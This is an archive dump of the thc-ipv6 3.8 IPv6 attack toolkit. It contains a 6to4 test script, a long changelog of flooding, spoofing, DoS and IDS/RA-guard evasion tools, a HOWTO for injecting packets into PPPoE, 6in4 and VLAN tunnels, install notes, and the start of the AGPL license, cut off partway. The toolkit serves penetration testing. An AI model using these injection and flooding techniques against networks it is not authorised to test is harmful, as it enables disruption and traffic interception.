pax_global_header00006660000000000000000000000064137612156770014531gustar00rootroot0000000000000052 comment=2ed04ebf21204392f5202935f7c0a882ca6ab5ad thc-ipv6-3.8/000077500000000000000000000000001376121567700130435ustar00rootroot00000000000000thc-ipv6-3.8/6to4test.sh000077500000000000000000000007301376121567700150760ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" -o -z "$2" && { echo Syntax: $0 interface ipv4address echo This little script tests if the IPv4 target has a dynamic 6to4 tunnel active echo Requires address6 and thcping6 from thc-ipv6 exit 1 } HEX=`address6 $2 | head -n 2 | tail -n 1 | sed 's/.*:://'` test -z "$HEX" && { echo Error: could not generate ipv6 address from ipv4 address $1 ; exit 1 ; } TARGET="2002:$HEX::$HEX" echo thcping6 $1 $TARGET thcping6 $1 $TARGET thc-ipv6-3.8/CHANGES000066400000000000000000000655761376121567700140610ustar00rootroot00000000000000CHANGELOG ========= v3.8/3.7-dev * fixed crash in thcping6 with -n 0 or larger values * fixed minor issues * honors now CC and CLAGS environment variables and compiles with clang * fixed various issues * new code indention v3.6/v3.5-dev * long interface names are now supported. Thanks to Christophe Desoutter@Airbus for the patch! * added error check for openssl BN_ functions (thanks to lc3412) * added support for global destinations for dump_dhcp6 * added new tool: connect6, useful for tcp6 connect pings * added -i microseconds interval option for smurf6 and thcsyn6 (thanks to shellqiqi@github) * added -w timeout option to thcping6 v3.4/v3.3-dev * Added new function to thc-ipv6-lib: thc_send_raguard_bypass6() bypass attack found by ERNW in one easy function. * Added RA guard bypass attack (F option) to: - fake_router26 - flood_router26 - fake_advertise6 * added new tool: flood_unreach6 (black nurse attack) * fake_pim6: - added bootstrap and assert support - added loop mode - added flood mode - rewrote help output - some fixes * fuzz_ip6: added PIM hello, bootstrap and assert support * alive6: fix for IPv6 address display for unreachable dst reason * implementation6: large fragmentation EH test added * covert_send6d: fixed receiving multiple packets (thanks to mculig for reporting) * better automatic source adress type selection * added patch to support the horrible openssl-1.1 release * some minor enhancements and fixes v3.2/v3.1-dev * added toobigsniff6: send ICMPv6 toobig messages for sniffed traffic * added alive2map.sh script to create a network map (graphviz->jpg) from a list of alive hosts * alive6: fixed displaying right source of one packet type * dump_router6: added -S option to specify an IPv6 source address * fake_router26: new -f option to specify the sending mac address (thanks to Scott Winegarden for the patch) * thcsyn6: added -f and -d options * flood_router26: - added -m option to force DHCPv6 managed and other configuration - reduced lifetime for -s option to 1s * dnssecwalk: added TCP mode (-t) * dnsrevenum6: added TCP mode (-t) * fake_advertise6: a second packet always was sent with no flags. fixed. thanks to Christopher Werny@ERNW for reporting * flood_rs6 and thcping6: small fixes * re-enabled raw mode, works now with modern kernels it seems * small reliability patches by Benjamin Kellermann, thanks! * added man page auto generator by Benjamin Kellermann, thanks! * small change to the Makefile to allow installation even if not everything could be compiled (libraries missing) v3.0 release * fragrouter6 (NEW TOOL) - evade IDS easily and use all your favorite IPv6 attack tools * connsplit6 (NEW TOOL) - split up a connection so that replies are sent to a different IPv6 address * *.sh - added a lot of shell helper scripted for zone transfers, creating maps, etc. - 6to4test.sh, create_network_map.sh, extract_hosts6.sh, six2four.sh, axfr-reverse.sh, axfr.sh, dnsrevenum6.sh, extract_networks6.sh, thc-ipv6-setup.sh, dnssecwalk.sh, trace62list.sh, dos_mld6.sh, local_discovery6.sh * alive6: - -r renew option was accidently always on by default - added -I /mask random source option - restructured the -h help output * fake_router26: - option -X removes router entry from targets on exit (patch from Dan Luedtke, thanks) * flood_router26: - fix: the source mac was always null bytes without evasion, thank to Christopher Werny for reporting * ndpexaust26: - option -m generates maximum size packets * dump_router6: - fixed route option parsing - support for new RA options * dump_dhcp6 - added vendorID support for request * thcping6: - added -O TCP Fast Open cookie request option * fuzz_dhcps6 - enhancements to the help output - added -w sec wait between packets option - added more options to the solicitate request to fuzz * thcping6: - added -O TCP Fast Open cookie request option * thcsyn6 - added -O TCP Fast Open fake cookie sending option - fixed memory leak * Renamed dos_mld.sh to dos_mld6.sh and local_discovery.sh to local_discovery6.sh v2.7 public release (31C3) v2.6 private release * All flood_* tools: - changed destination so that targets can be remote. Yes this *should* have no impact, but sometimes it does :-) * New tool: fragrouter6 - IDS evasion plus script fragrouter6.sh * New tool: fuzz_dhcpc6 - DHCPv6 client fuzzer, submitted by Darrell Ambro, thanks a lot! * Added new script: alive2map.sh for magic network map generation :-) * alive6: - setting -C twice increases the common address search space significantly - fixed from-to definition implementation - added "-y step" option, to define the step range when performing from-to scans (e.g. 2001:1::0-ff), default step range is of course 1, max is 256 - selects the source IPv6 address for every new target now; waiting, if no fitting IPv6 address is present on the interface until one is - if you use -s for alive scanning, the new "one packet fingerprinting" functionality is automatically used, courtesy of warlord @ nologin from his poison tool - error message if a packet can not be send for >50ms, and waiting for 60 seconds - cleaned up help output and add -hh more help/options output * thcsyn6: - added -m dstmac option (good for DOSing local, esp. hot standby addresses) - added -d dst hdr option - documented -a hbh-ra option * denial6: - added five more test cases with HBH-RA and AH headers * flood_router26 - added -a hopbyhop with router alert option - changed a default so the attacks do not show up in Snort IDS * flood_redir6 - added -a hopbyhop with router alert option * flood_solicitate6 - added query address parameter option - added -a hopbyhop with router alert option * fuzz_ip6: - fixes for HBH and DST EH fuzzing * thcping6: - added -x flood option - added -e ethertype option - added -V IP version option - added -L payload length option - added -N next header option - now prints fragID of fragmented replies * implementation6: - a few more test cases and fixes * dump_dhcp6 - more option decoding, better solicitate packet - added sending information request packet * four2six: - support for source port and ping ID (required for AFTR) * trace6: - support for MTU sizes > 2500 added * implementation6 - fixed to test cases where the wrong fragment nxt header was set (thanks to Gabriel Bertram for reporting) * inverse_lookup6 - fixed to display only the IPv6 addresses (and not interpret other data as such) * thc-ipv6-lib - global addresses are now prefered over unique local if no destination is set - fixed a bug in IPv4 CRC calculation function * cppcheck and Coverity issues checked and fixed * added spelling fixes by Debian maintainers v2.5 public release v2.4 private release * Moved the license from GPLv3 to AGPLv3 (see LICENSE file) * Support for big endian processors added * Added new tool: fuzz_dhcps6 - DHCPv6 server fuzzer. Submitted by Brandon Hutcheson, Graeme Neilson and Ryan Ko - great job, thanks! * Added new tool: flood_redir6 - flooding with ICMPv6 redirects * Added new tool: flood_rs6 - flooding with ICMPv6 Router Soliciations * Added new tool: four2six - send an IPv4 packet via a 4to6 gateway * Added new tool: dump_dhcp6 - show all DHCP6 servers and their config * Added new script: six2four.sh - send an IPv6 packet via a 6to4 gateway * All flooding tools: - support now a specific target instead of all local nodes - printing a dot for each 1000 packets sent (before: 100) * alive6: - added -4 IPv6address/range option - added -H option to print the hop count value of received packets - added -L option to only report local alive systems - added -P option to only print addresses that would be scanned, but no scanning - added -R option to not consider TCP-RST packets as alive signals - NDP alives now also get their MAC addresses printed - reworked help output, simple help screen with no option, full help with -h parameter - clarified that ranges (from-to) should not be used together with -D -M or -4 - -W option waited for micro not milliseconds, fixed * flood_router26 - added -S slow start option which makes the flooding a bit more effective - added -G gigantic packet option (64kb, fragmented) - increased number of route/prefix entries in normal (non -G option) packets - rewrote the help screen * flood_advertise6 + fake_advertise6 - added -k and -m option to specify source MAC address * thcsyn6: - changed to also allow syn flooding on link local * parasite6: - added ROUTER flag to all packets to prevent being removed from the routing list * trace6: - added -u UDP switch - fixed bug that showed targets sometimes too far away - fixed -E option - fixed millisecond printing * thcping6: - added -n count switch - added -T icmptype and -C icmpcode options - rewrote help output, added -h extra output, minimal otherwise * dnsdict6: - enhanced and updated the dictionaries - added additonal "u"ber large dictionary with -u option - added -e optiont to ignore "no NS for domain" errors * fragmentation6: - added multi-level-fragment tests - no screen flooding in flooding mode anymore * fake_solicitate6 - src address is now by default the own link-local address unless specified different * firewall6: - added -H option to show hop count of pkts received * randicmp6: - added -p option which will not print replies and not wait (good for flooding tests) * thc-ipv6-lib: - added thc_add_ipv4_rudimentary function needed for the new four2six tool, so far only ICMPv4 ping and UDP is supported. - renamed thc_create_ipv6 to thc_create_ipv6_extended, and added a simpler thc_create_ipv6 function - 801.q VLAN IDs can now have the proper range of up to 4095 - injection sniffing - some tcpdump seem not to be able to sniff on ether proto * massive error checking and compiler warnings eliminated * Updated documentation and man page * Incorporated Debian maintainer patches: man page additions and spelling fixes v2.3 public release (released) v2.2 private release * Added new tool: thcsyn6 - a TCP flooding tool * Added new tool: redirsniff6 - redirects traffic (sniff variant to redir6) * Added new script: thc-ipv6-setup.sh - configuring Linux for thc-ipv6 * Added new script: 6to4test.sh - check an ipv4 address for dynamic 6to4 tunnel * flood_router26: added -s option for small lifetime which makes the attack even more devasting * trace6: - added -B option for sending echo reply packets (will not show the destination) - added -E option for sending destination headers with invalid option * thcping6: - -U/-S port options now also set the source port - -U/-S options now also send data if given - -f fragment option can now be used multiple times * implementation6: - fixed bug in test case - added icmp6 type/code printing for error replies * fake_advertise6: more command line options to control all necessary aspects * toobig6: added -u option to allow testing for unrelated ICMPv6 packet firewall bypasses * firewall6: added more test cases * thc-ipv6-lib: - fixed address selection bug if both global and ULA addresses were present - changed NDP to use ff02::1:ffxx:xxx limited multicast addresses - thc_resolve6 ignores now anything after a "/" or in before/after "[]" * in new alive6: - hidden portscan option (-s "portscan") to be able to TCP-SYN portscan in injection environments - new option -x to define the source port for tcp and udp packets - new option -T allows sending a fixed string as a packet tag in the data v2.1 * alive6: ranges are now supported in the input file too * added dnssecwalk to the thc-ipv6 package and included IPv6+IPv4 resolving * parasite6: enhancements to make it way more effective * fake_router26: added overlap RA guard evasion type (-E o, -E O) * dos-new-ip6: fix that only DAD replies are sent, not full NDP spoofing :-) (thanks to Johannes Weber for reporting) * flood_router26: Added local LAN privacy extension prevention attack by George Kargiotakis * randicmp6: - added function which dumps icmp answers received - added funtionality to send a specific type (and also code) * dnsdict6: added SRV result address resolving * trace6: fix for routers which add padding to the packets * fuzz_ip6: added -X option for not sending a transport layer * firewall6: - two more overlapping test cases - source port test cases * fake_advertise6: when no srcmac was specified, it was sent as all zeroes instead of the real mac (thanks to Jannes Weber for reporting) * inject_alive6: added -a option to allow selective active alive sending * thc-ipv6-lib: added function thc_send_as_overlapping_{first,last}_fragment6 * Added GPL exception clause to license to allow linking to OpenSSL - debian people need this * Makefile: added patch from gentoo maintainers v2.0 - PUBLIC * Added VLAN-Q, PPPoE and 6in4 injection support! See the file HOWTO-INJECT for details * added new tool: inject_alive6 - keeps a PPPoE/6in4 tunnel alive if you disconnect the client tunnel endpoint * added new tool: ndpexhaust26 - very performant ndp exhauster based on ICMP error toobig messages but can send many types of packets * added new tool: firewall6 - various TCP/UDP ACL bypass test cases * added new tool: fake_pim6 - send fake hello and join/prune pim messages * alive6: - added support for replies with fragmentation header - -s/-a/-u options would send also bad dst hdr packets, fixed - having a '-' in the dns name was not working * trace6: - added -b option for stealthy tracerouting - fixed -a option reply packet analysis - added -F and -D options to add frag & dst headers, not documented - if the destination is not reached, print three ??? entries and warn * thcping6: - added -D xxx fragmenting large destination header option - added -q for hop-by-hop quickstart option * fake_dns6d: specified a wrong listen port, silly me * fake_router26: added -L DNS searchlist option * fuzz_ip6: - RA: added DNS searchlist, and extended flag options - added node information query fuzzing (-0), renamed TCP fuzzing to -s * toobig6: no restriction on mtu value anymore * dnsrevenum6: switched the output printing order * exploit6: fixed a crash in test case 4 * implementation6: enhancements to not run into icmp error rate limiting * thc-ipv6-lib: - more intelligent source address selection - fixed crash in toobig function - better support of broken fragmentation implementations - added thc_add_pim() function and overall PIM packet creation * OpenSSL is now optional, if not present, comment out HAVE_SSL in the Makefile * added trace62list.sh and create_network_map.sh to create network topology map images from trace6 output files v1.9 - PUBLIC * added new tool: detect_sniffer6 (Windows, Linux, *BSD, OS X, ...) * added new tool: connect6 for various IPv6 TCP connection stuff * added new tool: fake_router26 which gives more control on options * added new tool: dnsrevenum6 which reverse enumerates the DNS * added new tool: inverse_lookup6 which gets the IPv6 addresses of a mac address * added new tool: fake_solicitate6 which lets you fake neighbor solicate packets * added new tool: address6 converts between ipv6 <=> ipv4 and mac addresses * added new tool: flood_router26, more effective by many prefix & route entries in each packet * added new tool: passive_discovery6 which detects all sending systems and includes DAD detection * alive6: - new -I srcip6 option to allow choosing the source IPv6 address to use - fixed a bug in alive6 for hop-by-hop option - expanded waiting time for link local scans - now returns 0 when hosts were found alive, 1 when not (for alive scripting) * parasite6: - fixed a crash when -F and -R were used together - parasite6 now terminates as it should, also ending childrens when using -l - the mac command line parameter was not working * fuzz_ip6: - added TCP (-0 port) to the fuzzer with tstamp, mss + wscale options - return code 0 on tests done and target alive, 1 on target crashed * thcping6: - added -U udp option - return code -1 no reply, 0 reply, 1 error reply * implementation6: - added more tests (AH + ESP ping tests, 8k exthdr, 2k exthdr size) - fixes for some tests - returns -1 on errors, 0 if at least one reply, 1 if no or only error replies * detect-new-ip6: now the interface is passed as 2nd cmdline option to the script * dnsdic6: - added full SRV service scan support (-S option) - fix for x64 systems, thanks to alphacc(at)altern(dot)org - some more minor fixes * trace6: - fixed a crash - made it a bit faster - fix for targets further away than 18 hops - enhanced error messages * kill_router6: fixed '*' target option * dos-new-ip6: also DOSes non-link-local addresses now * toobig6: fixed crash when mtu size specified was < 47 * send errors dont result in program exits for flood_*, fuzz_ip6 and ndpexhaust6 tools anymore * thc-ipv6-lib: - changed the thc_pcap_function to * have a an addition parameter, promisc (before it was not promiscous) * reduce CPU load, which affects detect-new-ip6, dos-new-ip6 and parasite6 - changed some function defines from/to signed/unsigned * cleaned up the code v1.8 - PUBLIC * included all tools except alive26 v1.7 - PRIVATE * fake_advertise6: added one more ND Security bypass (-D) * fake_router6: - added unicast reply to router solicitation requests - added one more ND Security bypass (-D) * parasite6: - added -R option to also inject the reverse route - added one more ND Security bypass (-D) * flood_router6: one more RA guard bypass (-D) * alive6: - important fix for hopbyhop/dst header packet types (ff02::1)! - expanded dictionary by results from the ipv6 world day scanning * dnsdict6: - expanded dictionary by results from the ipv6 world day scanning - added IPv4 support for selfish reasons. I'm sorry! ;-) * thcping6: - -D renamed to -F - new -D/-H option to specify options in hopbyhop and destination headers - fragment header moved before other headers (except hop-by-hop) * added new tool flood_solicitate6 * added new tool kill_router6 * added new tool fake_dnsupdate6 * added new tool node_query6 * added new tool dump_router6 * added new tool sendpeesmp6 by Marcin Pohl * added new tool randicmp6 by ecore * added new tool ndpexhaust6 by mario fleischmann * added two alternate alive6/parasite6 tools by Fabricio Nogueira Buzeto and Carlos Botelho De Paula Filho, it can be found in the contrib/ directory * added helper scripts extract_{network,host}s.sh * speed improvements for flood_* tools * added nmap support to dnsdictalive.sh (needs at least v5.59BETA) * thc-ipv6-lib: - fixed class assignment to ipv6 packet creation - forgot some fclose()es thanks to mario fleischmann for reporting - first OS/X porting diff sent in by oskar (at) acm (dot) org, thanks! v1.6 - PUBLIC * removed various tools for public release v1.5 - PRIVATE * redir6: - TTL enhancement by frederik(at)kriewitz(dot)eu - timing enhancement by me * toobig6: added TTL, timing and packet size enhancement * parasite6: - added -l (loop) option - ND security evasion added :-) * fake_advertise6: - added src ip option - added ND security evasion options * trace6: - added tunnel detection and identification mode (-t) - only up to the 13th hop was reported, fixed - added patch by Phillipe Langlois for -s sourceipv6 option * alive6: - print original dst ports for packet replies - print original dst ipv6 for icmp errors - if -p was specified, sending dst opt error pkt was not disabled * thcping6: rewrote thcping6 for more options and packet timing * fake_router6: - the interface MTU is used as default now - added RA guard evasion options * flood_router6: RA guard evasion options added :-) * frag_id_attack: lots of more tests and cmdline options * implementation6: more test cases * dnsdict6: - implemended 4 different wordlists in dnsdict6 (-s, -m, -l, -x switches) - better wildcard detection - added -d switch to dump IPv6 NS and MX information - added check for -t max * added comfortable dnsdictalive.sh script to dnsbrute+alivescan a domain * thc-ipv6-lib: - added thc_ipv62notation function - added thc_add_hdr_oneshotfragment function - fixed neighbor mac solicitation function for FreeBSD targets - better own ipv6 address selection * added usage of thc_ipv62notation function to all tools v1.4 - December 2010 - PUBLIC * removed various tools for public release v1.3 - PRIVATE * added covert_send6 and covert_send6d * added fake_dhcps6 - fake dhcp6 server * added flood_dhcpc6 - dhcp6 flooder * added fake_dns6 - fake dns server, serving only one ipv6 address :-) * added fake_mld26 (same as fake_mld6 but for MLDv2) * added flood_mld6 - flood network with mld messages * added flood_mld26 - flood network with mldv2 messages * added fake_mldrouter6 - fake an mld router * added flood_mldrouter6 - flood network with mld router messages * added exploit6 and the first test cases * added denial6 and the first test cases * added dos_mld.sh which disables outside multicast traffic to the local LAN * alive6: - beautified alive ipv6 address output - added -i inputfile and -o outputfile options - added -M for mac enumeration mode (autoconfiguration address space) - added -D for dhcp6 enumeration mode - added range possibility, e.g. "alive6 eth0 2002:0-2:0-10" - added -s/-a-/-u TCP SYN/ACK and UDP alive scan mode - added -F firewall quick port setup mode (tcp-syn to 22, 25, 80, 443; udp dns request; tcp-ack to highport, ping and destination error) - added -p and -e icmp and error alive check modes - changed hop-by-hop error check to destination error check - alive reply type is now printed - printing now warnings if icmp destination unreachables are received (-v) - added new -S slow, -W waittime,-d resolve, -v verbose switches - added new -Z dstmac option - removed hop check, changed to dst hdr, and made it the default - removed memory leaks * fake_mld6: - added query and done MLD types - new command line option -l = loop - command line format changed - added target mac option, needed for new vulnerablity found * dnsdict6: - added 87 more entries to the dictionary - now identified even multiple wildcard IPs and displays them accordingly - now prints the number of unique IPv6 addresses founds * fuzz_ip6: - added fuzzing query, report and done MLD + query and report MLDv2 types - fuzzing first and last two bytes of IPv6 addresses in the packets - command line option for specifying an IPv6 address within the packets - added many options * trace6: - added unreachable detection - added more informative output - now multiple run save - fixed a core dump which happened on rare occasions * changed command line options for fake_router6 to allow specification of DNS * toobig6: tighter mtu and removed debug output still present in the code, oops * implementation6: added three more test cases, enhanced four test cases, bugfix * compile warning fixes (dnsdict6, sendpees6, thc-ipv6-lib) * Makefile beautification and header fixes by xmwgentooorg * library: - BUG: raw mode does not work! Needs to be implemented properly by someone :-) - imporant fix for gathering a local mac, required for Mac OS/X targets - added thc_pcap_init_promisc function (required for new fake_mld6 functionality) - added thc_is_dst_local function (required for new alive6 functionality) - added thc_add_udp function (required for new alive6 functionality) - added thc_bind_udp_port function (required for fake_dhcps6) - added thc_bind_multicast_to_socket (required for fake_dhcps6) - added thc_ipv6_show_errors function to toggle error messages from library - optimization in thc_send_as_fragment6 to only get MACs once :-) - fix for max offset in thc_add_hdr_fragment, plus bad value check - fix for beautification ipv6 address output function - looked for memory leaks and removed all I found - for performance reasons also stale neighbor mac entries are used now - made library thread safe, for this to work I: ~ changed thc_pcap_check/thc_pcap_function to add an option ~ removed some global variables => remaining variables are ok to be global v1.2 - June 2010 * compile fixes * test case added to implementation6 v1.1 - June 2010 * dnsdict6: big wordlist update * upgraded thc-ipv6 license to GPLv3 v1.0 - May 2010 - PRIVATE * beta release v0.9 - April/May 2010 - PRIVATE * added dnsdict6 * added trace6 * added flood_router6 * added flood_advertise6 * added fuzz_ip6 * added implementation6d * implementation6: - renamed from test_implementation6 - added A LOT of test cases and reply checks * fake_router6: - changed command line options - added default route entry (not supported by many systems though) - added DNS server ip (the official dns multicast address) - small fixes * alive6: - small fixes - added -l switch for using the link layer address * library: - fixed a big bug in the routing module, library thought sometimes a remote network is local! - fixed a bug where a hard/permanent set mac for a destination would not be found when the dst is not alive - now chooses an alternate IP6 address when the prefered one is not available (link vs. global) - fixed TTL setting when using raw mode - supporting mobile home address option in dst option (for checksum) - pcap was opened in promisc mode - shouldnt have been, unnecessary - valid icmp checksum for mobile home address and routing pointer == 0 - TCP can be now added as a header too + checksum calculation, but not for inverse_packet (yet - no application for that currently). v0.8 - June 2007 - PRIVATE * Clarified License: GPL 2 * Improved Makefile * Added a man page for all tools together (by gebi(at)grml.org) v0.7 - AUGUST 2006 - BETA * Added sendpees6.c and a patch from willdamn@gmail.com - thanks a lot! (its a new DOS attack) v0.6 - MARCH 2006 - BETA * Added fake_mipv6 tool to spoof mobile ipv6 binding updates * Fixed a bug in the thc_toobig6 and some other thc_ icmp6 lib functions v0.5 - FEBRUARY 2006 - ALPHA * Added RAW mode, just add -r as 1st option to most tools v0.4 - FEBRUARY 2006 - ALPHA * Added fake_mld6 tool v0.3 - JANUARY 2006 - ALPHA * Added detect-new-ip6 tool * Added function to get the mac from the ipv6 neighbor cache, thanks to dan kaminsky * It finally has a README which describes the thc-ipv6-lib.c interface (roughly though, but anyway, now there is at least *something*) v0.2 - NOVEMBER 2005 - ALPHA * First release thc-ipv6-3.8/HOWTO-INJECT000066400000000000000000000111111376121567700146330ustar00rootroot00000000000000INTRODUCTION ============ Since v1.91 the THC-IPv6 toolkit has injection support for PPPoE, 6in4 and VLAN-Q tunnels. For this to work, you must be on the network path where the PPPoE, 6in4 or VLAN-Q tunnel is traversing over. This is activated via environment variables. VLAN-Q ====== For VLAN-Q injection you have to set the environment variable THC_IPV6_VLAN with the necessary information in the following format: srcmac,dstmac,vlan-id To get this information, you must sniff the necessary information on the Ethernet you are injection from. This tcpdump command will help you: tcpdump -i eth0 -n -vvv -e ether proto 0x8100 you will need the source mac address, destination mac address and the VLAN ID. Be sure to set the source and destination mac address right :-) with this information you can set up the environment, e.g.: export THC_IPV6_VLAN=01:01:01:01:01:01,02:02:02:02:02:02,1 Note: the VLAN ID must be in decimal form. Also note that VLAN injection can be done additionally to PPPoE and 6in4 if required, just set the other environment variable as well! PPPoE ===== For PPPoE injection you have to set the environment variable THC_IPV6_PPPOE with the necessary information in the following format: srcmac,dstmac,ppp-sessionid To get this information, you must sniff the necessary information on the Ethernet you are injection from. This tcpdump command will help you: tcpdump -i eth0 -n -vvv -e ether proto 0x8864 you will need the source mac address, destination mac address and the PPP sessionID. Be sure to set the source and destination mac address right :-) with this information you can set up the environment, e.g.: export THC_IPV6_PPPOE=01:01:01:01:01:01,02:02:02:02:02:02,0f2b Note: the PPP SessionID must be in hexadecimal form, with leading zeros and no 0x, \x or similar in front. 6in4 ==== For 6in4 injection you have to set the environment variable THC_IPV6_6IN4 with the necessary information in the following format: srcmac,dstmac,src-ipv4,dst-ipv4 To get this information, you must sniff the necessary information on the Ethernet you are injection from. This tcpdump command will help you: tcpdump -i eth0 -n -e ip proto 41 you will need the source mac address, destination mac address, the source IPv4 address and the destination IPv4 address. Be sure to set the source and destination mac/IPv4 addresses right :-) with this information you can set up the environment, e.g.: export THC_IPV6_6IN4=01:01:01:01:01:01,02:02:02:02:02:02,1.1.1.1,2.2.2.2 KEEPING THE SESSION ALIVE ========================= In case you have to disconnect the client tunnel endpoint to perform your tests, usually this will terminate the tunnel after some time as the server side often sends keep-alive packets. There is a tool in the package you can run to answer these keep-alive packets called inject_alive. Just run it with the proper environment variable and the interface: inject_alive eth0 If you tunnel type is PPPoE, it will even warn if the PPPoE session ID seen is different to the one you specified in the environment (and uses the one seen on the wire). RUNNING THE TOOLS ================= running the tools is then simple as a piece of cake: you just run them normally, and the injection is all done in the background. All tools will print one of the following messages when run in injection mode: Information: PPPoE injection/sniffin activated or Information: 6in4 injection/sniffin activated By this you see that the injection is active. In case you run the tools in the wrong shell that do not have the environment variable set, you will not see the message and therefore have an indicator what the problem is :-) If the tool does not support injection you will see the following message: WARNING: ./tool6 is not working with injection! One important thing to note!! You might need to set a specific source ipv6 address with the tools to make them work if global addresses (non-link-local addresses) are used. e.g. when the source IPv6 to use is 2003::1 and the target is ipv6.google.com => thcping6 eth0 2003::1 ipv6.google.com alive6 -I 2003::1 eth0 ipv6.google.com trace6 -s 2003::1 eth0 ipv6.google.com But of course it is easier to just configure that as you only global IPv6 addresses so that everything works, e.g. ip -6 addr add 2003::1/64 dev eth0 The following tools do not work with injection or are pointless to use there: parasite6 fake_solicitate6 fake_advertise6 connect6 detect_sniffer6 flood_advertise6 flood_solicitate6 inverse_lookup6 dnsdict6 dnsrevenum6 fake_dnsupdate6 fake_dhcps6 flood_dhcpc6 HELP? ===== email me at vh@thc.org feedback is always appreciated! thc-ipv6-3.8/INSTALL000066400000000000000000000010001376121567700140630ustar00rootroot00000000000000INSTALLATION ============ THC-IPV6 requires libpcap development files being installed, also the libopenssl development files are a good idea. For Debian/Ubunut/Kali/Backtrack, you can install them by: $ sudo apt-get install libpcap-dev libssl-dev For a few optional, obscure tools you need a libnetfilter library: $ sudo apt-get install libnetfilter-queue-dev To compile simply type $ make All tools are installed to /usr/local/bin if you type $ sudo make install You need to be root to run most tools thc-ipv6-3.8/LICENSE000066400000000000000000001033301376121567700140500ustar00rootroot00000000000000 GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices 